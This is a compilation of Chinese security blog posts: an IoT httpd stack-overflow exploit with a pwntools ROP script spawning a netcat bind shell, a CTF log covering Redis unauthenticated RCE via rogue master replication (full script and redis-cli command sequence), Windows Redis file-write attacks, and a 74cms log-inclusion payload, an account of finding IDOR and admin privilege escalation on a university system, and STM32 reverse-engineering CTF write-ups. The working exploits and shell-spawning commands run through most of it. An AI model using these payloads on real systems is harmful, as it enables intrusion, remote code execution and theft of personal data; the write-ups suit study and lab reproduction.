为了能够查看程序的执行流程,这里选择将文件系统和gdbserver一起传到qemu虚拟机里,下面的内容根据[driverxdw](https://xz.aliyun.com/t/5054#toc-2)师傅的这篇文章整理得到。
从arm-debian的qemu镜像地址下载如下三个文件
https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile
https://people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile
https://people.debian.org/~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2
在本地新建一张网卡用于和qemu虚拟机通信
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24
启动qemu虚拟机镜像
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
启动成功后会让你输入用户名密码,默认用户名/密码:root/root,然后在qemu虚拟机中配置网卡信息,这样qemu虚拟机就可以和本地进行通信了
ifconfig eth0 192.168.2.2/24
接下来使用ftp把固件的文件系统get到qemu虚拟机中,此时我们就可以挂载/dev和/proc了。
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc/ ./squashfs-root/proc/
最后切换到固件的文件系统中,并运行漏洞文件
chroot squashfs-root sh
./usr/sbin/httpd
这时我们就可以开始调试工作了,采用gdb-multiarch&gdbserver的方式。但是在试过网上编译好的gdbserver以后都无法在远程target remote到,最后在[这篇文章](https://bbs.pediy.com/thread-220907.htm)中找到了答案,按照上面的步骤我编译了一份与我本地gdb版本相同的gdbserver-static,文件上传到github上了有需要的师傅可以自行下载。
github地址:https://github.com/AmaIIl/gdbserver-static-9.2-arm
有了对应版本的gdbserver就可以开始远程调试了,具体命令如下所示
./gdbserver-static 127.0.0.1:1234 --attach <server pid>
然后写一个gdbinit把重复的命令写进去方便调试
# gdb-multiarch -x gdbinit
file ./usr/sbin/httpd
set architecture arm
target remote 192.168.2.2:1234
我们将断点下在函数退栈的位置,然后计算其与输入地址的差值就可以得到溢出偏移。为了降低利用难度这里关闭qemu虚拟机的aslr保护,可以节省几步内存泄露的步骤。
sudo sysctl -w kernel.randomize_va_space=0
通过动调我们可以得到需要的所有条件:溢出偏移、栈地址、libc地址。但是要构造ROP还需要一些gadget,使用ropper搜索我们需要的gadget,最终我们需要构造的就是system("XXX")的效果,所以需要能控制pc和r0寄存器的gadget,同时因为程序漏洞使用strncpy函数所以gadget中不能含有零字符,所以最终选择了这两段gadget
0x00048784: pop {r1, pc};
0x00016aa4: mov r0, r1; pop {r4, r5, pc};
exp如下所示
from pwn import *
context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
p = remote('192.168.2.2', 80)
libc = ELF('./squashfs-root/lib/libc.so.0')
stack = 0xbeffeb64
base = 0xb6f2d000
system = base+libc.sym['system']
pop_r1_pc = 0x00048784+base
mov_r0_r1 = 0x00016aa4+base # mov r0, r1; pop {r4, r5, pc};
head = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"
payload = 'b'*(0x00003c-8)+p32(pop_r1_pc)+p32(stack)+p32(mov_r0_r1)+'b'*8+p32(system)
end = 'nc -lp 6666 -e /bin/sh;'+'\r\n\r\n'
sl(head+payload+end)
shell()
脚本执行成功后会开启6666端口,这时只要用nc远程连接即可getshell
五、总结
还是那个感觉,复现iot最难的步骤还是环境搭建。在gdbserver那里卡住了很久,本地编译也是各种报错,不过好在最后都一一解决了。2017年的这个栈溢出漏洞整体利用难度不算高,感兴趣的师傅们可以动手试着复现一下。
FOFA-攻防挑战记录
记录一下中途短暂的辉煌时刻
辉煌一刻谁都有,别拿一刻当永久
在昨天初尝战果之后,今天又习惯性的打开 https://vulfocus.cn/ 发现今天还有挑战赛,按捺不住躁动的心,又开始了学习。今天主要拿下的是这四个镜像,同时我也会对我了解的漏洞详情做一个具体的分析
weblogci CVE_2020_2551
我们看到了对应的端口有 7001
看到熟悉的界面以及之前察觉的端口信息,感觉有可能是 weblogic ,加上路径 console 查看一下,是 weblogic 10.3.6.0
weblogic 存在的漏洞太多了,所以我们直接上漏洞扫描工具
看到了漏洞对应的编号,以及存在的回显链路
phpinfo 信息泄露
打开界面就是一个 phpinfo
尝试了扫路径,查 phpinfo 漏洞的操作无果后,于是直接在页面上查找关键词 flag
轻易就查询到了 flag 的值,这个题目给 5 分 我是没有想到的
Redis 未授权访问漏洞
一看对应映射的端口是 6379 立马就联想到了 Redis,同时这个端口无法从 web 端进行访问,所以基本可以肯定是 Redis 了
注意到版本是 4.0.14
针对于 Redis 未授权访问漏洞,有以下利用方法
利用 Redis 写入webshell
写 ssh-keygen 公钥登录服务器
利用计划任务反弹shell
利用主从复制获取shell
这里我们选用 主从复制漏洞来获取shell
在服务器上操作(今天借到了服务器)
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand/
make
# 生成 /RedisModules-ExecuteCommand/src/module.so
cd ..
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 123.58.236.76 -p 57119 -L 43.142.138.251 -f module.so
利用主从复制获取shell
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
Linux
在本机上弄的时候出现各种各样的奇葩的问题,给我整破防了,最后我采用了 docker 来进行复现。复现不同的利用都删掉 docker ,重启继续进行。最后发现主从复制的利用版本是 4.x-5.x,从 6.0开始,就无法利用成功,写入exp.so 也是可以的,module 加载时会失败,提示没有权限,给 exp.so 权限后时可以的。
sudo docker pull vertigo/redis4
sudo docker run -p 6379:6379 vertigo/redis4
redis-rce
https://github.com/Ridter/redis-rce
生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand/
make
# 生成 /RedisModules-ExecuteCommand/src/module.so
cd ..
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 192.168.10.187 -p 6379 -L 192.168.10.1 -f module.so
redis-rogue-server
https://github.com/n0b0dyCN/redis-rogue-server
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-serve
python3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1
Redis主从复制手动挡
import socket
from time import sleep
from optparse import OptionParser
def RogueServer(lport):
resp = ""
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0",lport))
sock.listen(10)
conn,address = sock.accept()
sleep(5)
while True:
data = conn.recv(1024)
if "PING" in data:
resp="+PONG"+CLRF
conn.send(resp)
elif "REPLCONF" in data:
resp="+OK"+CLRF
conn.send(resp)
elif "PSYNC" in data or "SYNC" in data:
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += "quot; + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
if type(resp) != bytes:
resp =resp.encode()
conn.send(resp)
#elif "exit" in data:
break
if __name__=="__main__":
parser = OptionParser()
parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")
parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")
(options , args )= parser.parse_args()
lport = options.lp
exp_filename = options.exp
CLRF="\r\n"
payload=open(exp_filename,"rb").read()
print "Start listing on port: %s" %lport
print "Load the payload: %s" %exp_filename
RogueServer(lport)
redis-cli -h 192.168.10.187
> ping
> config set dir ./ # 设置redis的备份路径为当前目录
> config set dbfilename exp.so # 设置备份文件名为exp.so,默认为dump.rdb
> slaveof 192.168.10.1 9999 # 设置主服务器IP和端口
> module load ./exp.so # 加载恶意模块
> slaveof no one # 切断主从,关闭复制功能
> system.exec 'whoami' # 执行系统命令
> config set dbfilename dump.rdb # 通过dump.rdb文件恢复数据
> system.exec 'rm ./exp.so' # 删除exp.so
> module unload system # 卸载system模块的加载
windows
Redis 官方没有提供 windows 版的安装包,windows 下使用的 Redis 还是 3.X 版本的。 redis 在写文件的时候会有一些版本信息以及脏数据,无法写出正常的DLL、EXE、LINK 等文件,所以 对 Windows 下的 redis 的利用方法主要是往 web 目录写马以及写启动项。
RedisWriteFile
https://github.com/r35tart/RedisWriteFile 利用Redis的主从同步写数据,脚本将自己模拟为master,设置对端为slave, master 数据空间保证绝对干净,轻松实现了写无损文件。
参考文章 http://r3start.net/index.php/2020/05/25/717 https://xz.aliyun.com/t/7940可以利用以下方式
系统 DLL劫持 (目标重启或注销)
针对特定软件的 DLL 劫持(目标一次点击)
覆写目标的快捷方式 (目标一次点击)
覆写特定软件的配置文件达到提权目的 (目标无需点击或一次点击)
覆写 sethc.exe 等文件 (攻击方一次触发)
mof 等
因为对这些暂时还没有研究,所以在这里只演示以下,在 windows redis 写无损文件
python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]
python3 RedisWriteFile.py --rhost=192.168.10.190 --rport=6379 --lhost=192.168.10.1 --lport=9999 --rpath="C:\Users\Public" --rfile="test.txt" --lfile="test.txt"
哇,这个无损写文件真是 yyds,在 linux 下利用也是没有一点问题。
骑士cms 存在模板解析漏洞
打开页面就是 骑士cms,想到了骑士 cms 的历史漏洞 文件包含漏洞(thinkphp3 的文件包含)
这样操作
http://74cms.test/index.php?m=home&c=index&a=assign_resume_tpl
POST:
variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
http://74cms.test/index.php?m=home&c=index&a=assign_resume_tpl
POST:
variable=1&tpl=data/Runtime/Logs/Home/22_06_28.log
漏洞的原理主要是通过将代码通过报错信息写到日志文件中,再利用文件包含实现代码执行。
一次edu证书站的挖掘
前言
最近edusrc上了新证书,这不得安排他一手。
确定目标
话不说信息收集一手,直接打开fofa,使用语法title="XXX大学",找到了一个系统
看到登录框,可能大家都会先进行弱口令的爆破,可能是我脸黑,遇到这种我就没有一次能爆破出来的,所以我比较喜欢测试未授权访问,这里我随便输了个账号密码
返回抓取这个接口的返回包,返回包里返回了500
这里我把它改成了两百,能进去系统,但是没有任何的数据信息
然后我直接F12查看源代码,找到了一处路由,/EmployeeManager,将他拼接在网址后面
访问
直接一手未授权访问,中危到手,原本想着提交上去手工了的,但一看证书兑换条件,得两个中危,这不是为难我胖虎吗,没办法就能继续加班,于是我利用了刚才获取到的用户名密码登录
登录进去后有一个个人承诺,需要点了同意才能下一步,让后点击同意进行抓包
接口返回了用户的sf证和密码,接着把EmployeeID=000005 改成000006
又是一个水平越权,泄露了用户敏感信息,中危有应该是稳了,然后我注意到了这个系统是区分管里员和普通用户的,就是一个前端可以选择角色类型进行登录,然后我想到能不能用普通用户的账号密码登录,然后越权到管理员的权限,在登录时进行抓包
拦截这个接口的返回包
把QX改成管理员,然后放包
可以看到已经越权成了管理员的sf
结束
都是很常规的漏洞,最重要的就是细心了。
CTF竞赛题解:stm32逆向入门
固件安全
一、前言
本日学习记录
二、复现
1、SCTF 2020 Password Lock
参考链接:https://xuanxuanblingbling.github.io/iot/2020/07/08/stm32/
题目描述
这是一个STM32F103C8T6 MCU密码锁它具有4个按键,分别为1, 2, 3, 4. 分别对应GPIO_PA1, GPIO_PA2, GPIO_PA3, GPIO_PA4flag1格式为SCTF{正确的按键密码}输入正确的密码, 它将通过串口(PA9–TX)发送flag2
解题思路
题目附件给出了一个Intel hex文件,并且给出了芯片信息我们可以确定程序的内存布局和外设寄存器与内存的对应。而逆向的关键就是读懂程序代码的含义,接下来我们将逐步分析这个hex文件。
1. hex文件结构
Intel hex文件格式由纯文本构成,其中包含了程序的加载地址和程序入口地址等信息,读懂这些信息可以帮助我们快速定位程序的起始入口而不用在ida中进行配置。
https://www.cnblogs.com/aqing1987/p/4185362.html
我们可以使用文本编辑器打开题目附件,其中关键信息如下所示:
:020000040800F2
...
...
:04000005080000ED02
:00000001FF
程序加载地址为0x08000000
程序入口地址为0x080000ED
程序以:00000001FF结尾
其余全是文件数据
2、内存布局
查找芯片手册的网站:https://www.alldatasheet.com/在里面我们可以找到STM32F103C8T6的手册,第一页发现我们需要的一些信息
Flash memory:32-to-128 Kbytes
SRAM:6-to-20 Kbytes
31页的Memory Map可以让我们更加直观的了解到内存的详细布局
综上所述我们得到了程序的完整内存布局信息:
Flash Memory: 0x8000000 ~ 0x801FFFF (128K)
SRAM: 0x20000000 ~ 0x20004FFF (20K)
Peripherals: 0x40000000 ~ 0x40023400
3、IDA分析
经过刚才的分析我们了解了程序的内存布局,其中Flash段除了包含代码,还有中断向量表。Periphers段中的寄存器是我们在逆向过程中需要对齐有大体了解。而对于hex文件的分析我们了解到除了加载地址和入口地址,其他的所有内容都不在hex文件中,所以我们需要手动配置这些内存布局信息来告诉IDA怎么识别。 打开ida工具,根据刚才的手册中我们可以查到芯片是arm32 Armv7-M架构,如下图所示进行配置选择然后单击ok
可以看到已经能识别出一部分函数,其中start函数的地址与我们分析hex文件结构时找到的程序入口地址相同。
如果hex文件中没有给出入口地址信息我们也可以通过寻找RESET中断处理函数来确定程序入口函数。其中RESET中断函数的地址可以在https://xuanxuanblingbling.github.io/assets/attachment/stm32/STM32%E4%B8%AD%E6%96%87%E5%8F%82%E8%80%83%E6%89%8B%E5%86%8CV10.pdf中找到相关信息
参考 https://blog.csdn.net/yangzhao0001/article/details/73293379 中我们可以了解到在中断向量表中RESET的地址0x8000004的地址是固定的,而可变的是程序的加载地址。我们跳转到0x8000004这个地址上,按键盘D键将上面的数据分成4字节形式找到reset的地址为0x8000101
跳转到RESET中断处理函数,存在两次跳转。第一次跳转到nullsub_1上并将下一条指令地址放入LR寄存器,nullsub_1函数的作用是跳回LR寄存器中的地址,所以第一跳没有意义。第二次跳转就是我们的start地址,所以完全可以利用此方式定位到程序的入口地址。
一直跟着入口地址走就能找到这个程序的main函数所在,但是进来之后可以发现左边这一大片红色的标记,观察这些红色区域其实就是IDA没有识别的地址,也就是我们之前分析内存布局需要添加的内存段。
我们在IDA中新建Segment,如下图所示:
这时只要我们再次点击F5即可让这些红色的标识变成正常识别的内存了
4、修复中断向量表
使用IDApython恢复程序入口地址之前的信息
for i in range(0x8000000,0x80000eb,1):
del_items(i)
for i in range(0x8000000,0x80000eb,4):
create_dword(i)
修复完成后我们观察这里面的地址,会发现有很多重复的地址0x800016D,跟进去会发现这些地址中没有定义函数功能。继续查看中断向量表会发现下面几个不同的内存地址
参考 https://xuanxuanblingbling.github.io/assets/attachment/stm32/STM32%E4%B8%AD%E6%96%87%E5%8F%82%E8%80%83%E6%89%8B%E5%86%8CV10.pdf中的内容我们可以查找到这些就是EXTI的中断处理函数地址
https://bbs.huaweicloud.com/blogs/326866
跟进这些函数地址会发现IDA并没有将其识别为函数,所以我们先在函数起始地址处按P键,然后进行反汇编即可看到这些中断处理函数,这里我以EXTI_4的中断处理函数为例来简单介绍一下这些中断处理函数的功能。
int EXTI_4()
{
int result; // r0
EXTI_LINE = 16;
switch ( sum )
{
case 1:
unk_20000006 = 116;
return sum++ + 1;
case 2:
unk_20000010 = 95;
return sum++ + 1;
case 4:
unk_2000000E = unk_20000001;
return sum++ + 1;
default:
result = 0;
sum = 0;
break;
}
return result;
}
程序一开始先设置了中断/事件线,EXTI_4的中断/事件线为0x10,然后使用一块内存(这里记作sum)来作为累加数的保存位置。我们可以看到当sum中的值为1、2、4时sum的值会+1,如果不是的话则会重新开始。所以我们可以判断出1、2、4就是EXTI_4出现在密码中的位数,同理其他的三个按钮也是一样的,通过这些顺序我们可以得到最终的flag为flag{1442413},并且我们可以发现在main函数中程序先模拟输入了一次密码,通过将上面的值与EXTI_LINE进行对应也能得到flag值。
2、2021 HWS 入营赛-STM32
经过了上一题的入门接下来我们再来一道题目练习一下,打开IDA类型选择小段arm32,架构选择ARMv7-M架构。
接下来设置程序的加载地址和读取地址设置为0x8000000,加载地址是指IDA加载的分析地址是多少,而Input File是指固件要从什么位置开始加载,设置好以后我们点击OK完成设置。
进入以后会发现IDA没有识别出任何函数,不用担心我们可以通过定位reset的中断处理来找到main函数的位置。将0x8000004地址处的字节变成4字节,得到reset中断处理函数地址0x8000101。
可以发现地址的结尾是奇数位,在arm中这代表了thumb模式。我们可以在0x8000101地址按下C键即可生成代码
一直跟着程序流走我们就能找到main函数所在位置sub_80003C0,并且在其中发现了需要逆向的函数sub_8000314
_BYTE *sub_8000314()
{
_BYTE *v0; // r4
char *v1; // r5
int v2; // r6
char v3; // t1
v0 = (_BYTE *)sub_80003F0(48);
v1 = &byte_8000344;
v2 = 0;
while ( v2++ != 0 )
{
v3 = *v1++;
*v0++ = (v3 ^ 0x1E) + 3;
sub_8000124(v1);
}
return v0;
}
写出解题脚本即可获得flag值
li = [0x7D, 0x77, 0x40, 0x7A, 0x66, 0x30, 0x2A, 0x2F, 0x28, 0x40, 0x7E, 0x30, 0x33, 0x34, 0x2C, 0x2E, 0x2B, 0x28, 0x34, 0x30, 0x30, 0x7C, 0x41, 0x34, 0x28, 0x33, 0x7E, 0x30, 0x34, 0x33, 0x33, 0x30, 0x7E, 0x2F, 0x31, 0x2A, 0x41, 0x7F, 0x2F, 0x28, 0x2E, 0x64]
print(''.join(chr((i ^ 0x1E) + 3) for i in li))
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

